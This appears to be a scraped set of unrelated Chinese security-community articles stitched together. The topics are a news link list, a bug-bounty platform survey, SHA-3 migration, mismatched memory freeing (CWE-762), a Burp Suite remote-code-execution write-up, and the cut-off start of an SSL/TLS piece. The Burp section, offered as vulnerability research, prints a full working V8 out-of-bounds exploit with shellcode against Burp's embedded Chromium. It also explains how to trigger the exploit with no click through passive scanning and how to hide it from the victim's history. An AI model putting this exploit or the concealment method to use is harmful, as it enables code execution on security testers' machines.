译文仅供参考，具体内容表达以及含义原文为准。
=
## 资讯类
影响无数IoT设备的漏洞，预计会造成严重的问题
<https://www.bleepingcomputer.com/news/security/vulnerability-affects-hundreds-of-thousands-of-iot-devices/>
Mozilla发布安全更新修复Thunderbird的漏洞
<https://www.us-cert.gov/ncas/current-activity/2017/12/25/Mozilla-Releases-Security-Update-Thunderbird>
CVE-2017-9966：施耐德Pelco VideoXpert Enterprise中的缺陷
<http://securityaffairs.co/wordpress/67108/hacking/pelco-videoxpert-flaws.html>
## 技术类
自动漏洞检测中的校验和导向模糊测试
<http://faculty.cs.tamu.edu/guofei/paper/TaintScope-Oakland10.pdf>
Uber Promo Customer Endpoint与Uber App的两个漏洞说明
<https://hackerone.com/reports/293359#activity-2203160>
<https://hackerone.com/reports/293358#activity-2214781>
网络犯罪的机器学习
<https://erpscan.com/press-center/blog/machine-learning-for-cybercriminals/>
Uber漏洞赏金计划却让我分文未赚
<https://medium.com/bread-and-circuses/how-i-got-paid-0-from-the-uber-security-bug-bounty-aa9646aa103f>
口袋Kali：GPD7 mini laptop上的Kali Linux
<https://medium.com/@tomac/a-kali-linux-on-your-pocket-kali-2017-3-on-gpd-7-mini-laptop-637c897488d>
通过基于邮件的工具检测数据泄露
<https://edgylabs.com/researchers-developed-a-tool-that-can-detect-website-security-breaches>
2018即将面临的12个云安全风险
<https://www.csoonline.com/article/3043030/security/12-top-cloud-security-threats-for-2018.html>
2017年的数据泄露带给我们的经验与教训
<https://medium.com/starting-up-security/learning-from-security-breaches-in-2017-ff62a2c56522>
关于Wired Machines的思考
<https://medium.com/@againsthimself/on-weird-machines-etc-2834b0913023> | 社区文章 |
# 《安全众测平台白帽满意度调研报告》
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
随着安全行业的不断发展与延伸，各大安全众测平台层出不穷，白帽群体也在此激励下不断的发展壮大。目前，安全众测平台都存在哪些问题？白帽对安全众测平台的满意度如何？他们对于安全众测平台的未来发展有哪些期待和建议？
这份报告将为大家呈现白帽对于现有安全众测平台的真实感受，以期为众测平台未来发展及优化提供建议和参考。
## 一、调研信息基本概要
在本次调研活动中，共收集调研问卷392份，其中有效调研问卷（问卷填写完整且用户信息唯一）292份，占调研总人数的74.49%。
**在参与调研的有效问卷中，被调研白帽的职业分布如下：**
（图表的数据来源皆由参与调研问卷的白帽子所提供）
调查数据显示：有超过65%的白帽，目前从事的岗位与安全相关，其中，24.41%的白帽职位是安全工程师，占比最高。
## 二、调研报告总结：
### **1）白帽子对于现有安全众测平台满意度如何评价？**
调查数据显示：超过97%的白帽子对现有安全众测平台较为满意，但有3%的白帽子对安全众测平台的现状存在不满，我们将在下面的调研数据中作相关解读。
### **2）白帽子更看重安全众测平台的哪些因素？**
（大部分题目为多选题，存在一题多选答案的情况）
调查数据显示：在白帽子更看重安全众测平台的因素中，排名居首的是漏洞奖金福利，这体现了白帽子对于安全众测平台的最大诉求；
其次是审核机制，白帽比较关注：漏洞奖金，漏洞审核速度和公平性；
并列第三的是公平公正和技术交流氛围，公平公正主要体现在项目分配，审核机制和奖金分配合理方面。
除此之外，白帽子非常关注技术交流氛围、法律咨询。对于白帽子来说，技术成长是每一个白帽子都持续追求的，网络安全行业的蓬勃发展离不开无数前辈的无私技术分享，但在行业监管越来越严格的环境下，寻求不受环境影响、干货满满的纯净技术交流机会也成为了白帽子越来越看重的因素之一。
### **3）现有安全众测平台的不满意体现在哪些方面？**
调查数据显示：白帽子对于现有安全众测平台的不满意的首要因素是审核机制，占比22.75%。其次是漏洞奖金福利，占比19.16%。排名第三的是漏洞项目资源及分配，占比17.37%。除此之外，还有接近10%的白帽子对技术交流氛围、公平公正、服务流程不满意。
### **4）现有安全众测平台在【公平公正】上存在哪些问题?**
在此项调研问题中，项目准入机制不公平和活动参与机会不公平在占比上并列第一，占据不公平排行头把交椅。审核机制是一个需要依据合理规则公开公平判断的事情，如果不由规则和制度主导，人为的干预因素过多，将会继续导致不公平事件的发生，从而影响白帽子内心对安全众测平台的评判，也会非常打击白帽子提交漏洞的积极性。
### **5）现有安全众测平台在【漏洞奖金福利】上存在哪些问题?**
本调研问题下的数据几乎只指向了一个关键点：漏洞奖金达不到白帽子的心理预期。其中，有20%的白帽子认为漏洞奖金福利形式单一缺乏趣味，这说明了白帽子除了希望能够在安全众测平台获得奖金收益外，其对于精神上的奖励或物质上的奖励有着多元化、趣味性、独特性等不同需求。
### **6）现有安全众测平台在【技术交流氛围】上存在哪些问题?**
从以上调查数据中可以看出，在技术交流氛围这个问题上不同情况的实际数据占比差距不大，线上、线下技术分享的资源和更细分的技术领域分享，都是白帽子非常关注的因素。白帽子是一个非常热爱技术学习和提升的群体，然而目前现有安全众测平台对于白帽子的相关培养体系尚不足以满足白帽子的技术学习需求，这一方面有待提升。
### **7）现有安全众测平台在【审核机制】上存在哪些问题?**
根据调查数据显示，白帽子对于现有安全众测平台审核机制上存在诸多不满。审核沟通效率低、漏洞审核速度慢、审核投诉机制不健全……这些问题在现有安全众测平台仍大量存在。这些跟白帽子息息相关的事情，值得每一位安全众测平台的运营人员重视。
### **8）现有安全众测平台在【服务流程】上存在哪些问题?**
从以上调查数据可以看出，现有安全众测平台在服务流程上也存在诸多通病。排名第一的是反馈机制不健全，占比35,3%；其次是反馈流程慢，占比28.57%；然后是服务响应速度慢，占比26.05%；以及7.56%的工作人员服务态度差和2.52%的其他。
服务对于白帽子来说是不同众测平台的差异化环节之一，每个平台都应该有自己的服务特色和文化，这对于白帽子的拉新、留存及促活来说，是非常重要的影响因素之一。
### **9）现有安全众测平台在【漏洞项目资源及分配】上存在哪些问题?**
根据调查数据显示，在漏洞项目资源及分配上也存在诸多问题。由于各个平台的漏洞运营机制、规则不一，以及对白帽子了解程度不够的情况下，很容易出现分配不合理的现象。要解决这个问题，必须依赖于数据分析做精细化运营，只有做到对每一个白帽子足够了解，且机制足够透明、公平，这个问题才会得到相应的改变。
### **10）白帽子希望获得法律援助的占比是多少？**
根据调查数据显示，不需要法律援助的白帽子的占比高达75.34%，占据大多数。其实对于安全众测行业来说，法律一直是白帽子和平台都非常关注的界线。那么这75.34%的白帽子不需要法律援助的信心从何而来呢？可以参考以下缘由：
****
### **11）白帽子选择进入安全行业的初衷都有哪些呢？**
从以上调查数据可以看出，白帽子选择进入安全行业的初衷存在多方面因素。21.47%的白帽子选择进入安全行业是出于对安全行业的一腔热忱，17.79%的白帽子出于对网络世界神秘未知的探索，以及16.67%是希望在已有经济收入上再赚取更多的收入；还有很多的白帽子是出于正义，希望通过自己的力量帮助这个世界变得更好。
### **12）目前的网络安全环境需要改善的地方有哪些？**
根据调查数据显示，目前网络安全环境需要改善的地方也不在少数，很多现有问题亟需改善，但这也并非是一朝一夕的事，需要你我共同努力，为网络安全环境贡献出自己的一份微薄之力。
## 结尾
本次《安全众测平台白帽满意度调研报告》所有内容如以上所示，非常感谢读者们的阅读和支持，也希望这份调研报告能够为安全众测平台未来的发展及优化提供指导性的建议。 | 社区文章 |
# 安全散列算法SHA的发展与变化：我们为什么不使用SHA-3？
##### 译文声明
本文是翻译文章，文章原作者 Roger A. Grimes，文章来源：www.csoonline.com
原文地址：<https://www.csoonline.com/article/3256088/hacking/why-arent-we-using-sha3.html#tk.rss_all>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在安全散列算法（Secure Hash
Algorithm）第3版中，修复了当前标准的SHA-2中的缺陷。本文主要讲解一旦SHA-2被发现存在严重问题时，我们如何迁移到SHA-3。
在过去的两年中，研究者不断尝试进行散列攻击，数字世界已经被迫从有缺陷的SHA-1（第1版）逐步转移到SHA-2（第二版）。在转移过程中，为了尽可能不影响正常业务运营，需要提前进行数百小时的研究和工作。因此，我们应该防患于未然，提前做好准备预防再一次的迁移。
当前，我们知道SHA-2存在与SHA-1相同的数学缺陷，但SHA-3并不存在。那么，我们为什么目前暂时还没有迁移至SHA-3呢？在什么样的场景下我们会再进行迁移？
## SHA哈希和越来越复杂的攻击
SHA-1由美国国家安全局（NSA）设计，并于1995年由美国国家标准与技术研究院（NIST）作为联邦标准（FIPS Pub
180-1）发布。该算法产生一个160位的消息摘要，如果加密过程完全安全，那么攻击者平均需要尝试2^159次暴力破解才有可能破解其哈希。即使在如今运行速度非常快的云计算机上，2^159次尝试也不是轻易可以完成的，因此就无法进行有效的攻击。基于当前数学和物理学的普遍共识，如果某种攻击是无法轻易完成的，我们就可以认为这种算法是相对安全的。
从2005年开始，发生过几起针对SHA-1的理论攻击。到了2012年，研究者已经从理论上将SHA-1的保护位数（最大平均值）从159位降至57.5-61位。然而，上述都只是一个理论上的攻击。随着时间的推移，理论总会变成现实，而这也正是我们为什么要升级算法并进行迁移的原因。
随着时间的推移，旧版本的算法被攻破只是一个时间问题。因此，NIST与NSA定期举办面向公众的竞赛，任何人都可以提交新创建的哈希算法以便评委审核与选择。这些比赛通常进行数年，全球领先的密码学家将会参加。最终，会选择一个新的哈希标准，并宣布为美国政府官方版本的哈希算法。这就是包括高级加密标准（AES）和SHA-3在内的算法的由来。
在2011年1月（NIST文件SP800-131A），SHA-2成为最新推荐的哈希标准。SHA-2通常被称为SHA-2哈希簇，因为它包含许多不同长度的哈希值，包括224位、256位、384位和512位摘要（具体内容在NIST的联邦信息处理标准文件中）。我们无法仅仅根据名称来确定某个正在使用的SHA-2位长度，但最常用的是256位。
关于SHA-1攻击请参考：<http://en.wikipedia.org/wiki/SHA-1#Attacks> 。
关于SHA-2算法请参考：<http://en.wikipedia.org/wiki/SHA-2> 。
## 从SHA-1逐步迁移到SHA-2
尽管自2011年成功对SHA-1进行攻击以来，SHA-2已经成为NIST要求的散列标准。但直至2016年，世界上大部分国家和地区仍没有迁移到SHA-2。最快反映的人往往需要进行最多的工作。在当时，针对SHA-1的公开攻击只存在于理论上。
2015年，全球最大的加密供应商决定强制他们的客户在2018年1月1日前从SHA-1迁移到SHA-2。其原因在为，理论上的突破很快就会变为真正意义的攻击。因此，在最近，许多公司都被迫对所有依赖该算法的程序或设备进行升级。
截止到2017年初，大部分客户已经迁移到SHA-2，迁移工作只是一个时间问题。针对这一方面，我写过一些文章，可供参考：<https://gallery.technet.microsoft.com/Migrating-SHA-1-to-SHA-2-82ee3a4e> 。2017年2月23日，Google宣布一次成功的真实SHA-1碰撞攻击（
<https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html>
），并演示了两个使用相同SHA-1哈希值的不同PDF文件。这一次攻击，完全破坏了SHA-1的安全性。
针对这样的攻击，没有任何缓解方式存在。但在SHA-1被证明不安全之前，全球的加密厂商大部分已经将SHA-1迁移到了SHA-2。我们说过，最先吃螃蟹的人总要进行大量的工作，而后来者就可以借助前人的经验轻松完成迁移。由于已经有成千上万的公司成功进行迁移，所以网上已经有大量的迁移方法说明，并且许多供应商都可以随时提供协助，大多数软件和设备供应商也已经做好了准备。SHA-1到SHA-2的迁移计划取得了圆满成功。
但现在还有一个问题，为什么我们不迁移到更为安全的SHA-3呢？
## 为什么要迁移到SHA-3？
实际上，SHA-1和SHA-2并不是通过公开的竞赛创建并获得的，而是由NSA编写算法，并作为公开专利发布。尽管SHA-1和SHA-2并不完全相同，但二者使用了相同的基础数学，其中就包含着相同的加密缺陷。之所以SHA-2成为更安全的散列，主要是通过增加散列长度来实现的。
## SHA-2存在的问题
尽管有较多的不同，但SHA-1与SHA-2还是共享相同的基本算法（SHA），并且其中的一些哈希长度容易受到相同类型的攻击。在某些情况下，之所以大部分SHA-2的安全性比SHA-1更好，是因为SHA-2使用了更长的输入和输出。
自2008年以来，研究者就不断在尝试对SHA-2的公开攻击。正如SHA-1此前经历的一样，针对SHA-2的攻击会随着时间的推移变得越来越容易。目前，随着不断尝试（
<https://online.tugraz.at/tug_online/voe_main2.getvolltext?pCurrPk=69018>
），SHA-2的有效保护已经减少到了2^37。并且，2016年发布的一些最新攻击进展（
<https://eprint.iacr.org/2016/374.pdf>
）中认为，对SHA-2的攻击已经可以实际进行。这听上去是不是很熟悉？没错，这就是两三年前我们对于SHA-1的认知。
诚然，现有的SHA算法会随着时间的推移而变得更不安全。而NIST之所以选择了一个公开竞赛中提交的SHA-3作为最新的标准（
<https://en.wikipedia.org/wiki/SHA-3>
），是因为它不是从SHA系列中派生而来的，有着完全不同的数学算法。该比赛在2006年开始，Keccak
Hash被选为2010年的唯一入选者，NIST在2015年发布了草案标准，并于2015年8月5日将其命名为SHA-3，作为官方推荐的标准。
在SHA-1迁移到SHA-2的过程中，大部分工作都是集中在2016年和2017年后期完成的。但在那时，SHA-3已经发布，为什么我们没有让全世界迁移到SHA-3呢？
## 为什么不迁移到SHA-3？
之所以全世界没有迁移到SHA-3，首要原因是世界上目前几乎没有任何软件或硬件支持该算法。即使我们想转移到SHA-3，那也需要自己拥有或使用的每个设备都能支持该算法，除非我们亲自为每个设备编写并更新其代码和固件，否则迁移就是不可能的。
最重要的时，当SHA-2迁移计划发布时，SHA-3还尚未成型。甚至在决定弃用SHA-1的会议上，SHA-3当时还没有成为官方标准。更重要的是，尽管SHA-2部分算法来源于SHA-1，但并不像SHA-1一样可被利用。大家认为，使用任何版本的SHA-2都足以提供充分的保护。另外，许多人普遍认为SHA-3的效率远低于SHA-2，因此会更倾向于速度较快的方案。
大多数SHA-2供应商不得不更新他们的SHA-2程序来修复缺陷。对于供应商而言，使用SHA-3算法编写程序就像实现SHA-2一样简单。如果从SHA-1直接迁移到SHA-3，他们也会很快完成迁移工作。
## 关于SHA-3的效率问题
SHA-3只在软件中的运行速度较慢。但在硬件中，其速度优于SHA-1和SHA-2。目前，越来越多的加密程序是由硬件组件负责处理，并且预计未来会更为广泛。
在软件上看，SHA-1的速度是SHA-3的三倍。在英特尔CPU上，SHA-512的速度是SHA-3的两倍。尽管这听起来并不理想，但大多数软件和设备中的散列验证组件非常少见，因此在大多数实际使用场景中，生成或验证散列所需的时间翻倍或翻三倍并不会产生显著的影响。此外，我们的CPU运行速度也在不断提升，所以这一时间的增长就会变得越来越不明显。此外，SHA-3算法的作者已经向NSA和NIST提供了能让其在软件中更快运行的一些方案。
## 如何准备SHA-3迁移
毫无疑问，在几年内，我们会进行向SHA-3的迁移。为了防患于未然，我们应该如何提前准备呢？
首先，请随时关注可能进行的SHA-3迁移。目前，没有人知道会在什么时候需要进行迁移，这完全取决于针对SHA-2的真实攻击的研究进展。如果有一天，Google或其他研究团队宣布SHA-2已不安全，那么我们就需要立刻开展迁移，请不要惊讶。
其次，请保留向SHA-2迁移的计划和相关文档。到SHA-3的迁移工作与到SHA-2的迁移工作非常相似。因此，我们需要从SHA-1到SHA-2的迁移过程中总结一些经验教训，并将其用于以后的迁移工作之中。并且，请记录目前使用的软件和硬件产品，以方便以后的迁移工作。
最后，希望大家了解，如果大家在IT界工作，那么散列迁移是一个常规的、持续的循环。因此，你、你的同事、相关供应商都应该保持最敏捷的反应速度。在这篇文章中，我介绍了关于加密敏捷的概念：<https://www.csoonline.com/article/3245071/encryption/are-you-crypto-agile.html> 。 | 社区文章 |
# 【缺陷周话】第31期：错误的内存释放方法
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、错误的内存释放方法
C语言中常见的内存申请函数包括malloc()、 realloc()、 calloc()，它们虽然功能不同，但都对应同一个内存释放函数
free()，C++中对内存的申请和释放采用new/delete、new []/delete[] 方式。不管是 C 语言还是 C++
语言，当编写源代码时要根据内存申请的方法不同来对应地选择内存释放方法，避免使用错误的内存释放。例如：混合使用C/C++的内存申请/释放，或混合使用标量和矢量的内存申请/释放。
详细请参见 CWE-762：Mismatched_Memory_Management_Routines。
## 2、 错误的内存释放方法的危害
使用错误的内存释放方法，将会导致非预期的程序行为，甚至可能导致程序崩溃。在《effective C++（第二版）》条目5“对应的 new 和 delete
要采用相同形式”中指出：“如果错误地释放对象中的元素，可能造成整个对象、甚至整个堆上的内存结构都发生损坏，从而发生内存泄漏，甚至导致程序崩溃”。
CVE中也有一些与之相关的漏洞信息，从2018年1月至2019年4月，CVE中就有3条相关漏洞信息。漏洞信息如下：
CVE | 漏洞概况
---|---
CVE-2018-14948 | dilawar sound2017-11-27 及之前版本中的 wav-file.cc文件存在错误的内存释放方法漏洞
(new[]/delete)。
CVE-2018-14947 | PDF2JSON 0.69 版本中的 XmlFonts.cc
文件的‘XmlFontAccu::CSStyle’函数存在错误的内存释放漏洞（new[]/delete）。
CVE-2018-14946 | PDF2JSON 0.69 版本中的 ImgOutputDev.cc 文件的 HtmlString
类存在错误的内存方法漏洞 (malloc/delete)。
## 3、示例代码
示例源于 Samate Juliet Test Suite for C/C++ v1.3
(https://samate.nist.gov/SARD/testsuite.php)，源文件名：CWE762_Mismatched_Memory_Management_Routines__new_array_delete_char_01.cpp。
### 3.1缺陷代码
在上述示例代码中，第31行使用 new[] 创建对象数组，在第34行使用 delete 进行释放，由于在释放对象数组时，没有使用 new[] 对应的
delete[]，因此存在“错误的内存释放方法”问题。
使用代码卫士对上述示例代码进行检测，可以检出“错误的内存释放方法”缺陷，显示等级为中。如图1所示：
图1：错误的内存释放方法的检测示例
### 3.2 修复代码
在上述修复代码中，Samate 给出的修复方式为：在第31行通过 new[] 创建对象数组，并在第33行使用 delete[]
进行释放。从而避免了错误的内存释放方法。
使用代码卫士对修复后的代码进行检测，可以看到已不存在“错误的内存释放方法”缺陷。如图2：
图2：修复后检测结果
## 4、 如何避免错误的内存释放方法
要避免错误的内存释放方法，需要注意以下几点：
（1）在进行内存释放时，明确内存申请使用的方法，避免由于程序结构复杂、人员疏忽而导致使用了错误的释放方法。
（2）使用源代码静态分析工具，可以有效对该类问题进行检测。 | 社区文章 |
**作者：Wfox
原文链接：<http://noahblog.360.cn/burp-suite-rce/>**
## 一、前言
Headless Chrome是谷歌Chrome浏览器的无界面模式，通过命令行方式打开网页并渲染，常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。
近几年许多桌面客户端应用中，基本都内嵌了Chromium用于业务场景使用，但由于开发不当、CEF版本不升级维护等诸多问题，攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。
本文以知名渗透软件Burp Suite举例，从软件分析、漏洞挖掘、攻击面扩展等方面进行深入探讨。
## 二、软件分析
以Burp Suite Pro v2.0beta版本为例，要做漏洞挖掘首先要了解软件架构及功能点。
将`burpsuite_pro_v2.0.11beta.jar`进行解包，可以发现Burp
Suite打包了Windows、Linux、Mac的Chromium，可以兼容在不同系统下运行内置Chromium浏览器。
在Windows系统中，Burp Suite v2.0运行时会将`chromium-win64.7z`解压至`C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\`目录
从目录名及数字签名得知Burp Suite v2.0是直接引用JxBrowser浏览器控件，其打包的Chromium版本为64.0.3282.24。
那如何在Burp Suite中使用内置浏览器呢？在常见的使用场景中，`Proxy -> HTTP history -> Response ->
Render`及`Repeater -> Render`都能够调用内置Chromium浏览器渲染网页。
当Burp
Suite唤起内置浏览器`browsercore32.exe`打开网页时，`browsercore32.exe`会创建Renderer进程及GPU加速进程。
browsercore32.exe进程运行参数如下：
// Chromium主进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window
// Renderer进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1
从进程运行参数分析得知，Chromium进程以headless模式运行、关闭了沙箱功能、随机监听一个端口（用途未知）。
## 三、漏洞利用
Chromium组件的历史版本几乎都存在着1Day漏洞风险，特别是在客户端软件一般不会维护升级Chromium版本，且关闭沙箱功能，在没有沙箱防护的情况下漏洞可以无限制利用。
Burp Suite
v2.0内置的Chromium版本为64.0.3282.24，该低版本Chromium受到多个历史漏洞影响，可以通过v8引擎漏洞执行shellcode从而获得PC权限。
以Render功能演示，利用v8漏洞触发shellcode打开计算器（此处感谢Sakura提供漏洞利用代码）
这个漏洞没有公开的CVE
ID，但其详情可以在[这里](https://bugs.chromium.org/p/chromium/issues/detail?id=880207)找到。
该漏洞的Root Cause是在进行`Math.expm1`的范围分析时，推断出的类型是`Union(PlainNumber,
NaN)`，忽略了`Math.expm1(-0)`会返回`-0`的情况，从而导致范围分析错误，导致JIT优化时，错误的将边界检查CheckBounds移除，造成了OOB漏洞。
<html>
<head></head>
</body>
<script>
function pwn() {
var f64Arr = new Float64Array(1);
var u32Arr = new Uint32Array(f64Arr.buffer);
function f2u(f) {
f64Arr[0] = f;
return u32Arr;
}
function u2f(h, l)
{
u32Arr[0] = l;
u32Arr[1] = h;
return f64Arr[0];
}
function hex(i) {
return "0x" + i.toString(16).padStart(8, "0");
}
function log(str) {
console.log(str);
document.body.innerText += str + '\n';
}
var big_arr = [1.1, 1.2];
var ab = new ArrayBuffer(0x233);
var data_view = new DataView(ab);
function opt_me(x) {
var oob_arr = [1.1, 1.2, 1.3, 1.4, 1.5, 1.6];
big_arr = [1.1, 1.2];
ab = new ArrayBuffer(0x233);
data_view = new DataView(ab);
let obj = {
a: -0
};
let idx = Object.is(Math.expm1(x), obj.a) * 10;
var tmp = f2u(oob_arr[idx])[0];
oob_arr[idx] = u2f(0x234, tmp);
}
for (let a = 0; a < 0x1000; a++)
opt_me(0);
opt_me(-0);
var optObj = {
flag: 0x266,
funcAddr: opt_me
};
log("[+] big_arr.length: " + big_arr.length);
if (big_arr.length != 282) {
log("[-] Can not modify big_arr length !");
return;
}
var backing_store_idx = -1;
var backing_store_in_hign_mem = false;
var OptObj_idx = -1;
var OptObj_idx_in_hign_mem = false;
for (let a = 0; a < 0x100; a++) {
if (backing_store_idx == -1) {
if (f2u(big_arr[a])[0] == 0x466) {
backing_store_in_hign_mem = true;
backing_store_idx = a;
} else if (f2u(big_arr[a])[1] == 0x466) {
backing_store_in_hign_mem = false;
backing_store_idx = a + 1;
}
}
else if (OptObj_idx == -1) {
if (f2u(big_arr[a])[0] == 0x4cc) {
OptObj_idx_in_hign_mem = true;
OptObj_idx = a;
} else if (f2u(big_arr[a])[1] == 0x4cc) {
OptObj_idx_in_hign_mem = false;
OptObj_idx = a + 1;
}
}
}
if (backing_store_idx == -1) {
log("[-] Can not find backing store !");
return;
} else
log("[+] backing store idx: " + backing_store_idx +
", in " + (backing_store_in_hign_mem ? "high" : "low") + " place.");
if (OptObj_idx == -1) {
log("[-] Can not find Opt Obj !");
return;
} else
log("[+] OptObj idx: " + OptObj_idx +
", in " + (OptObj_idx_in_hign_mem ? "high" : "low") + " place.");
var backing_store = (backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
log("[+] Origin backing store: " + hex(backing_store));
var dataNearBS = (!backing_store_in_hign_mem ?
f2u(big_arr[backing_store_idx])[1] :
f2u(big_arr[backing_store_idx])[0]);
function read(addr) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
return data_view.getInt32(0, true);
}
function write(addr, msg) {
if (backing_store_in_hign_mem)
big_arr[backing_store_idx] = u2f(addr, dataNearBS);
else
big_arr[backing_store_idx] = u2f(dataNearBS, addr);
data_view.setInt32(0, msg, true);
}
var OptJSFuncAddr = (OptObj_idx_in_hign_mem ?
f2u(big_arr[OptObj_idx])[1] :
f2u(big_arr[OptObj_idx])[0]) - 1;
log("[+] OptJSFuncAddr: " + hex(OptJSFuncAddr));
var OptJSFuncCodeAddr = read(OptJSFuncAddr + 0x18) - 1;
log("[+] OptJSFuncCodeAddr: " + hex(OptJSFuncCodeAddr));
var RWX_Mem_Addr = OptJSFuncCodeAddr + 0x40;
log("[+] RWX Mem Addr: " + hex(RWX_Mem_Addr));
var shellcode = new Uint8Array(
[0x89, 0xe5, 0x83, 0xec, 0x20, 0x31, 0xdb, 0x64, 0x8b, 0x5b, 0x30, 0x8b, 0x5b, 0x0c, 0x8b, 0x5b,
0x1c, 0x8b, 0x1b, 0x8b, 0x1b, 0x8b, 0x43, 0x08, 0x89, 0x45, 0xfc, 0x8b, 0x58, 0x3c, 0x01, 0xc3,
0x8b, 0x5b, 0x78, 0x01, 0xc3, 0x8b, 0x7b, 0x20, 0x01, 0xc7, 0x89, 0x7d, 0xf8, 0x8b, 0x4b, 0x24,
0x01, 0xc1, 0x89, 0x4d, 0xf4, 0x8b, 0x53, 0x1c, 0x01, 0xc2, 0x89, 0x55, 0xf0, 0x8b, 0x53, 0x14,
0x89, 0x55, 0xec, 0xeb, 0x32, 0x31, 0xc0, 0x8b, 0x55, 0xec, 0x8b, 0x7d, 0xf8, 0x8b, 0x75, 0x18,
0x31, 0xc9, 0xfc, 0x8b, 0x3c, 0x87, 0x03, 0x7d, 0xfc, 0x66, 0x83, 0xc1, 0x08, 0xf3, 0xa6, 0x74,
0x05, 0x40, 0x39, 0xd0, 0x72, 0xe4, 0x8b, 0x4d, 0xf4, 0x8b, 0x55, 0xf0, 0x66, 0x8b, 0x04, 0x41,
0x8b, 0x04, 0x82, 0x03, 0x45, 0xfc, 0xc3, 0xba, 0x78, 0x78, 0x65, 0x63, 0xc1, 0xea, 0x08, 0x52,
0x68, 0x57, 0x69, 0x6e, 0x45, 0x89, 0x65, 0x18, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x31, 0xc9, 0x51,
0x68, 0x2e, 0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x89, 0xe3, 0x41, 0x51, 0x53, 0xff,
0xd0, 0x31, 0xc9, 0xb9, 0x01, 0x65, 0x73, 0x73, 0xc1, 0xe9, 0x08, 0x51, 0x68, 0x50, 0x72, 0x6f,
0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x89, 0x65, 0x18, 0xe8, 0x87, 0xff, 0xff, 0xff, 0x31, 0xd2,
0x52, 0xff, 0xd0, 0x90, 0x90, 0xfd, 0xff]
);
log("[+] writing shellcode ... ");
for (let i = 0; i < shellcode.length; i++)
write(RWX_Mem_Addr + i, shellcode[i]);
log("[+] execute shellcode !");
opt_me();
}
pwn();
</script>
</body>
</html>
用户在通过Render功能渲染页面时触发v8漏洞成功执行shellcode。
## 四、进阶攻击
Render功能需要用户交互才能触发漏洞，相对来说比较鸡肋，能不能0click触发漏洞？答案是可以的。
Burp Suite v2.0的`Live audit from Proxy`被动扫描功能在默认情况下开启JavaScript分析引擎（JavaScript
analysis），用于扫描JavaScript漏洞。
其中JavaScript分析配置中，默认开启了动态分析功能（[dynamic analysis
techniques](https://portswigger.net/blog/dynamic-analysis-of-javascript)）、额外请求功能（Make requests for missing Javascript dependencies）
JavaScript动态分析功能会调用内置chromium浏览器对页面中的JavaScript进行DOM
XSS扫描，同样会触发页面中的HTML渲染、JavaScript执行，从而触发v8漏洞执行shellcode。
额外请求功能当页面存在script标签引用外部JS时，除了页面正常渲染时请求加载script标签，还会额外发起请求加载外部JS。即两次请求加载外部JS文件，并且分别执行两次JavaScript动态分析。
额外发起的HTTP请求会存在明文特征，后端可以根据该特征在正常加载时返回正常JavaScript代码，额外加载时返回漏洞利用代码，从而可以实现在Burp
Suite HTTP history中隐藏攻击行为。
GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF
JavaScript动态分析 + 额外请求 + chromium漏洞组合利用效果：
## 五、流量特征检测
默认情况下Java发起HTTPS请求时协商的算法会受到JDK及操作系统版本影响，而Burp
Suite自己实现了HTTPS请求库，其TLS握手协商的算法是固定的，结合JA3算法形成了TLS流量指纹特征可被检测，有关于JA3检测的知识点可学习《[TLS
Fingerprinting with JA3 and JA3S](https://engineering.salesforce.com/tls-fingerprinting-with-ja3-and-ja3s-247362855967)》。
[Cloudflare](https://portswigger.net/daily-swig/https-everywhere-cloudflare-planning-improvements-to-middleware-detection-utility)开源并在CDN产品上应用了[MITMEngine](https://github.com/cloudflare/mitmengine)组件，通过TLS指纹识别可检测出恶意请求并拦截，其覆盖了大多数Burp
Suite版本的JA3指纹从而实现检测拦截。这也可以解释为什么在渗透测试时使用Burp Suite请求无法获取到响应包。
以Burp Suite v2.0举例，实际测试在各个操作系统下，同样的jar包发起的JA3指纹是一样的。
不同版本Burp Suite支持的TLS算法不一样会导致JA3指纹不同，但同样的Burp Suite版本JA3指纹肯定是一样的。如果需要覆盖Burp
Suite流量检测只需要将每个版本的JA3指纹识别覆盖即可检测Burp Suite攻击从而实现拦截。
本文章涉及内容仅限防御对抗、安全研究交流，请勿用于非法途径。
* * * | 社区文章 |
# SSL/TLS协议详解(中)——证书颁发机构
* * *
本文翻译自：<https://www.wst.space/ssl-part-3-certificate-authority/>
* * *
[上一篇](https://xz.aliyun.com/t/2526)中，我们讨论了关于Diffie
